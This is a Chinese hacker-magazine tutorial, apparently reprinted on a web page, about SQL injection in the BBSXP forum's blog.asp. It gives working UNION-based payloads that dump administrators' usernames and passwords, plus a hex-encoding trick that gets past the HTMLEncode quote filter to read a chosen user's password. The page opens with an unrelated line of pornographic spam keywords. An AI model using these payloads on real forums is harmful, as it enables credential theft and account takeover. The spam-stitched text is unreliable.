欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

BBSXP漏洞再探究

 更新時(shí)間:2007年01月16日 00:00:00   作者:  
注:本文已發(fā)表在《黑客X檔案》2005年6期,版權(quán)歸其所有,轉(zhuǎn)載請(qǐng)保持文章完整性并注明版權(quán)

最近BBSXP論壇可以說(shuō)是一點(diǎn)都不平靜。漏洞一個(gè)接一個(gè)暴出來(lái)。上次對(duì)showforum.asp這個(gè)文件的漏洞分析過(guò)后,沒(méi)多久,又暴出blog.asp存在漏洞。于是俺這個(gè)菜鳥(niǎo)的心再不能平靜了,不要每次都等著人家給我們找漏洞,咱自己也來(lái)分析一把看看。
首先,我們回顧一下showforum.asp中的漏洞,還記得order變量,是經(jīng)過(guò)了HTMLncode過(guò)濾了以后才放到SQL語(yǔ)句中去執(zhí)行的。再來(lái)看看blog.asp中出漏洞的地方:
id=HTMLEncode(Request("id"))
if id<>"" then
sql="select * from [calendar] where id="&id&" order by id Desc"
id變量同樣是經(jīng)過(guò)了HTMLEncode過(guò)濾了以后,就放到了SQL語(yǔ)句中去了。利用的方法是構(gòu)造一個(gè)特殊的id變量,使用UNION查詢將密碼暴出來(lái)。
小知識(shí):UNION查詢的基本介紹
使用UNION可以將多個(gè)查詢結(jié)果合并起來(lái)時(shí),系統(tǒng)會(huì)自動(dòng)去掉重復(fù)的記錄。參加UNION操作的各結(jié)果表的列數(shù)必須相同;對(duì)應(yīng)項(xiàng)的數(shù)據(jù)類(lèi)型也必須相同;
select top 1 username,userpass from [user] union select ’test’,’12345’ from [clubconfig]
——這里加上了單引號(hào)是表示里面的數(shù)據(jù)為字符型,為了和前面的username和userpass的類(lèi)型對(duì)(在ACCESS中則沒(méi)有這么嚴(yán)格的要求,數(shù)據(jù)類(lèi)型不一致的話,不會(huì)導(dǎo)致SQL語(yǔ)句出錯(cuò))上。在海洋2006的數(shù)據(jù)庫(kù)操作里執(zhí)行的結(jié)果如下(圖1):

screen.width-461) window.open(’/Article/UploadFiles/200507/20050722220746428.jpg’);" src="/college/UploadPic/2006/8/27/2006827232628179.jpg" width=564 onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
原理學(xué)習(xí)與分析
了解了union查詢,我們就可以構(gòu)造這個(gè)id了。如:id=-1 union select 1,2,3,4,5,6,7 from [user] where membercode=5
還原完整的SQL語(yǔ)句是這樣的:
select * from [calendar] where id=-1 union select 1,2,3,4,5,6,7 from [user] where membercode=5 order by id Desc
此SQL前半部分會(huì)因?yàn)閕d=-1而什么也查不出來(lái),然后,1~7這7個(gè)數(shù)字是因?yàn)閏alendar這個(gè)表中有7個(gè)字段。那么大家可以看到如圖的結(jié)果。(圖2)

screen.width-461) window.open(’/Article/UploadFiles/200507/20050722220807132.jpg’);" src="/college/UploadPic/2006/8/27/2006827232628948.jpg" width=564 onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
其中能顯示出來(lái)的數(shù)字(比如3和4),可以改為字段名username和userpass。因?yàn)橛衜embercode=5做條件,所以可以將級(jí)別為社區(qū)區(qū)長(zhǎng)的用戶名和密碼查出來(lái)。(圖3)當(dāng)然,如果想查特定用戶的密碼也是很容易的,把username作為限制條件就可以了。不過(guò)要注意的是,HTMLEncode函數(shù)過(guò)濾了單引號(hào),所以要用十六進(jìn)制轉(zhuǎn)換一下。把語(yǔ)句改為:
id=-1 union select 1,2,userpass,4,5,6,7 from [user] where username=0xD3C3BBA7
其中0xD3C3BBA7是“用戶”的十六進(jìn)制寫(xiě)法。如果是數(shù)字和英文的話,記得每一個(gè)字符需要用四個(gè)字節(jié)來(lái)表示,比如“1”要寫(xiě)成0x3100。這和上次的一樣。有一個(gè)不一樣的地方是,上次我們用了DECLARE @cmd sysname,并且將空格轉(zhuǎn)換為了“+”號(hào),后來(lái)實(shí)踐后發(fā)現(xiàn)是沒(méi)有必要的。所以特別提出一下。 

相關(guān)文章

最新評(píng)論